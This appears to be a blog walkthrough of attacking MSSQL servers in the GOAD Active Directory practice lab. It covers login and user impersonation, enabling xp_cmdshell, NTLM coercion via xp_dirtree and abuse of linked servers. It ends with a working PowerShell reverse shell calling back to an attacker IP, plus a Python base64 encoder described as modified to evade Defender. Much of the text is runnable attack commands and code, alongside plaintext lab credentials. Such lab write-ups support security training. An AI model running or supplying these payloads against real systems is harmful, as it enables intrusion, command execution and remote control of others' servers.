In the previous post (Goad pwning part6) we tried some attacks with ADCS activated on the domain. Now let’s take a step back, and go back on the castelblack.north.sevenkingdoms.local to take a look at the MSSQL server.
Before jump into this chapter, i have done some small configuration on the lab, to be sure you get it, you should pull the updates and play : ansible-playbook servers.yml
to get the last mssql configuration.
- This modifications are:
- arya.stark execute as user dbo impersonate privilege on msdb
- brandon.stark impersonate on jon.snow
Enumerate the MSSQL servers
Impacket GetUserSPNs.py
- First let’s try to figure out the users with an SPN on an MSSQL server
1
| GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople
|
1
| GetUserSPNs.py -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople
|
Nmap
1
| nmap -p 1433 -sV -sC 192.168.56.10-23
|
Two servers answer :
- castelblack.north.sevenkingdoms.local
- braavos.essos.local : the result is identical as castelblack.
CrackMapExec
- Let’s try with crackmapexec
1
| ./cme mssql 192.168.56.22-23
|
- Now we could try with the user samwell.tarly
1
| ./cme mssql 192.168.56.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local
|
- As we can see we got an access to the database
Impacket
1
2
3
4
5
6
7
8
| cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
cd myimpacket
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
git fetch origin pull/1397/head:1397
git merge 1397
python3 -m pip install .
|
- We connect to the mssql server with the following command :
1
| python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
|
- This launch the following query (roles value meaning can be show here)
1
2
3
4
5
| select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin,
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
from master.sys.server_principals r
left join master.sys.syslogins sl on sl.sid = r.sid
where r.type in ('S','E','X','U','G')
|
- We see only a basic view as we are a simple user
impersonate - execute as login
- Let’s enumerate impersonation values:
- This launch the following queries:
1
2
3
4
5
| SELECT 'LOGIN' as 'execute as','' AS 'database',
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
|
1
2
3
4
5
6
| use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
|
- The previous command list all users with impersonation permission
What is the hell ? login and user, what is the difference ?
- A “Login” grants the principal entry into the SERVER
- A “User” grants a login entry into a single DATABASE
- I found out an image who explain it well and also a very nice summary here
“SQL Login is for Authentication and SQL Server User is for Authorization. Authentication can decide if we have permissions to access the server or not and Authorization decides what are different operations we can do in a database. Login is created at the SQL Server instance level and User is created at the SQL Server database level. We can have multiple users from a different database connected to a single login to a server.”
- Ok samwell got login impersonation to the user sa.
- So we can impersonate sa with
execute as login
and execute commands with xp_cmdshell
1
2
3
| exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
|
- This launch the following commands:
1
2
3
| execute as login='sa';
exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
|
- And we get a command execution !
- Let’s continue our enumeration as login sa this time:
- As sysadmin user (sa), we can see all the information in the database and so the others users with impersonation privileges.
- Another way to get in could be to access as brandon.stark and do
execute as login
on user jon.snow.
impersonate - execute as user
- We launch a connection to the db as arya.stark :
1
| python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
|
- if we use master db and impersonate user dbo we can’t get a shell
1
2
3
| use master
execute as user = "dbo"
exec master..xp_cmdshell 'whoami'
|
- but our user also got impersonate user privilege on dbo user on database msdb
- The difference between the two databases is that msdb got the trustworthy property set (default value on msdb).
- With the trustworthy property we get a shell :
Coerce and relay
1
| python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:hodor@castelblack.north.sevenkingdoms.local
|
- run a xp_dirtree command :
1
| exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1
|
- And we get a connection back to our responder
- This will work also with ntlmrelayx (like with a server running as administrator and with the same password on other servers). But on the lab, this kind of behavior is not setup by now.
trusted links
- Another SQL abuse we could try on the lab, is the usage of mssql trusted links.
Note that trusted link is also a forest to forest technique
- To abuse the links let’s connect with jon.snow and use enum_links
1
2
| python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
SQL (NORTH\jon.snow dbo@master)> enum_links
|
- This play the following queries :
1
2
| EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
|
1
2
3
| use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
|
- This play the following MSSQL commands :
1
2
3
| EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami''') AT BRAAVOS
|
We got a command injection on braavos.essos.local as essos\sql_svc
I have done the modifications on mssqlclient.py to be able to chain trusted_links. From this we can continue to another trusted link, etc…
Example :
Command execution to shell
- We got command execution on castelblack and also on braavos. But now we want a shell to interact with the server.
- To get a shell we can use a basic Powershell webshell (There is one available on the arsenal commands cheatsheet project. This is another of my projects that i will need to improve when i get the time, but this script do not bypass defender anymore, so let’s write some modifications):
1
2
3
4
5
6
7
8
9
10
| $c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
|
- Let’s convert this powershell command to base64 in utf-16 for powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| #!/usr/bin/env python
import base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
|
- There is some interresting projects to exploit mssql, here is some of them :
- Interresting informations :
Next time we will have fun with IIS and we will get an nt authority\system shell on servers : (Goad pwning part8) :)